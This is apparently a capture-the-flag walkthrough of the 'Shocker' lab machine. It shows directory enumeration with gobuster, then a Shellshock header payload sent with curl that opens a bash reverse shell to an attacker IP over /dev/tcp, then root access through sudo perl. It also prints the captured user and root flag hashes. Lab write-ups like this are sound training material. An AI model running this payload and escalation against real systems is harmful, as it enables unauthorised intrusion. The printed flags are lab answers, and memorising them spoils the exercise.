

## Initial Exploit -

Gobuster finds the **/cgi-bin/** directory:

```
gobuster dir -u http://10.129.1.175 -w /usr/share/seclists/Discovery/Web-Content/big.txt -e -t 50
```

```
(kali@kali)-[~/results/10.129.84.47/scans/tcp80]
$ gobuster dir -u http://10.129.1.175 -w /usr/share/seclists/Discovery/Web-Content/big.txt -e -t 50

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.129.1.175
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Expanded: true
[+] Timeout: 10s

2022/07/10 11:52:59 Starting gobuster in directory enumeration mode

http://10.129.1.175/.htaccess (Status: 403) [Size: 296]
http://10.129.1.175/.htpasswd (Status: 403) [Size: 296]
http://10.129.1.175/cgi-bin/ (Status: 403) [Size: 295]
```

Gobuster finds the **user.sh** file:

```
gobuster dir -u http://10.129.1.175/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -e -t 50 -o buster80_cgibin_raftlarge.txt -x sh,pl,cgi
```

```
(kali@kali)-[~/results/10.129.84.47/scans/tcp80]
$ gobuster dir -u http://10.129.1.175/cgi-bin/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -e -t 50 -o buster80_cgibin_raftlarge.txt -x sh,pl,cgi

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.129.1.175/cgi-bin/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: sh,pl,cgi
[+] Expanded: true
[+] Timeout: 10s

2022/07/10 11:46:21 Starting gobuster in directory enumeration mode

http://10.129.1.175/cgi-bin/user.sh (Status: 200) [Size: 119]
```

This page is vulnerable to Shellshock. Set up a listener:

```
sudo nc -lvp 80
```

Send a reverse shell:

```
curl http://10.129.1.175/cgi-bin/user.sh -H "X-Frame-Options: () { :};echo;/bin/bash -i >&/dev/tcp/10.10.16.16/80 0>&1"
```

The shell returns as shelly.

## Privilege Escalation -

---

Shelly can run perl as root with no password.

```
shelly@Shocker:/home/shelly$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
shelly@Shocker:/home/shelly$
```

[2] 0:sudo- 1:sudo\*Z "kali" 12:05 10-Jul-22

Spawn a root shell:

```
sudo perl -e 'exec "/bin/sh";'
```

## Proof -

---

User:

```
shelly@Shocker:/home/shelly$ cat user
cat user.txt
2ec24e11320026d1e70ff3e16695b233
shelly@Shocker:/home/shelly$ ifconfig
ifconfig
ens192    Link encap:Ethernet  HWaddr 00:50:56:b9:cc:ab
          inet addr:10.129.1.175  Bcast:10.129.255.255  Mask:255.255.0.0
          inet6 addr: fe80::250:56ff:feb9:ccab/64 Scope:Link
          inet6 addr: dead:beef::250:56ff:feb9:ccab/64 Scope:Global
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:874380 errors:0 dropped:0 overruns:0 frame:0
          TX packets:846703 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:149480766 (149.4 MB)  TX bytes:424351986 (424.3 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:160 errors:0 dropped:0 overruns:0 frame:0
          TX packets:160 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:11840 (11.8 KB)  TX bytes:11840 (11.8 KB)

shelly@Shocker:/home/shelly$ whoami
whoami
shelly
shelly@Shocker:/home/shelly$

shelly@Shocker:/home/shelly$ █
[2] 0:sudo- 1:sudo*Z "kali" 12:03 10-Jul-22
```

Root:

```
cat root.txt
52c2715605d70c7619030560dc1ca467
ifconfig
ens192    Link encap:Ethernet  HWaddr 00:50:56:b9:cc:ab
          inet addr:10.129.1.175  Bcast:10.129.255.255  Mask:255.255.0.0
          inet6 addr: fe80::250:56ff:feb9:ccab/64 Scope:Link
          inet6 addr: dead:beef::250:56ff:feb9:ccab/64 Scope:Global
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:874861 errors:0 dropped:0 overruns:0 frame:0
          TX packets:846811 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:149520239 (149.5 MB)  TX bytes:424363383 (424.3 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:160 errors:0 dropped:0 overruns:0 frame:0
          TX packets:160 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:11840 (11.8 KB)  TX bytes:11840 (11.8 KB)

whoami
root
█
[2] 0:sudo- 1:sudo*Z "kali" 12:06 10-Jul-22
```